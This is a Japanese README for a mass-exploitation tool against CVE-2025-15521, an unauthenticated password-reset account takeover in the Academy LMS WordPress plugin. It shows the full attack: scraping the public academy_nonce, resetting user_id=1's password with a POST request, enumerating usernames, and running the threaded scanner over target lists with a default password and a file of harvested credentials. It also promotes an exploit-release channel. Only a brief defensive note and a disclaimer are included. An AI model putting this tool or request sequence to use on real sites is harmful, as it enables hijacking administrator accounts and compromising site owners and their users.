
WordPress用プラグイン「The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution」は、3.5.0を含むそれ以前の全バージョンにおいて、アカウント乗っ取りによる権限昇格の脆弱性があります。
WordPress 用プラグイン「Academy LMS – WordPress LMS Plugin for Complete eLearning Solution」は、バージョン 3.5.0 までの全バージョンにおいて、アカウント乗っ取りによる権限昇格の脆弱性が存在します。
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 @KNxploited をフォロー — CVE の開示と動作するエクスプロイトを遅延なく配信。
CVE-2025-15521 — Academy LMS ≤ 3.5.0 におけるパスワードリセットを介した未認証のアカウント乗っ取り。
このプラグインのリセットハンドラーは、コースページに埋め込まれた公開された nonce(academy_nonce)のみを使用してリクエストを認証します。ユーザーのメールに送信されるトークンはありません。セッションチェックもありません。本人確認もありません。任意のコースページを読んだ攻撃者は有効な nonce を取得し、user_id を指定して任意のアカウントのパスワードをリセットできます。user_id=1(サイト管理者)も対象です。
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ HTML contains: "academy_nonce": "a1b2c3d4e5" ← public, no auth
POST /academy-retrieve-password/?user_id=1
new_password=<anything>
confirm_new_password=<anything>
security=a1b2c3d4e5 ← nonce accepted
→ Password for user_id=1 changed. No email. No confirmation.
このハンドラーは、すべての訪問者に公開されている nonce に対して wp_verify_nonce() を検証するだけで、wp_set_password() を呼び出します。リクエストを行ったユーザーが変更対象のアカウントを所有しているかどうかのチェックはありません。
academy_nonce を抽出しますuser_id に対してリセットハンドラーを実行します/?author=N リダイレクトと REST API(/wp-json/wp/v2/users)を介してユーザー名を列挙しますwordpress_logged_in Cookie を必須とする/wp-admin に実際の管理者 UI マーカーが必要(200 レスポンスだけでは不十分)pip install requests colorama urllib3
Python 3.8 以上が必要です。Python 3.10 以上を推奨します。
python CVE-2025-15521.py
以下の入力を求められます:
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 10
Reset handler path [/academy-retrieve-password/]:
Course root path (key source) [/course/]:
Max /course/ subpages to scan per site [15]:
user_id to reset (handler target) [1]:
New password to set [adminSA]:
HTTP timeout (seconds) [10]:
Output file [scan_results/academy_access_success.txt]:
ターゲットリストファイル — 1行に1URL、スキームは任意:
https://target1.com
target2.com
https://target3.com/lms
ターミナル — ターゲットごとに1行、認証情報は表示されません:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
ファイル — 確認されたアクセスエントリのみ:
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
防御側の対応:
リセットエンドポイントへの未認証の POST リクエストをブロックまたは監視します:
POST *academy-retrieve-password* with parameter: security=
テーマのコースページソースにある rm_admin_order / academy_nonce の露出を確認してください。ログインせずに nonce が見える場合、対象のバージョンが影響を受けています。
今すぐ実施する修正手順:
このツールは、許可されたセキュリティ研究およびペネトレーションテスト専用です。
所有しているシステム、または明示的な書面によるテスト許可があるシステムに対してのみ実行してください。
著者は、不正または違法な使用に対して一切の責任を負いません。
不正使用は、CFAA、CMA、EU指令2013/40/EU、サウジアラビアのサイバー犯罪防止法(M/17)および世界各国の同等の法律に違反します。
By Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 Telegram で @KNxploited をフォローして、最新の CVE とエクスプロイトリリースを入手しましょう。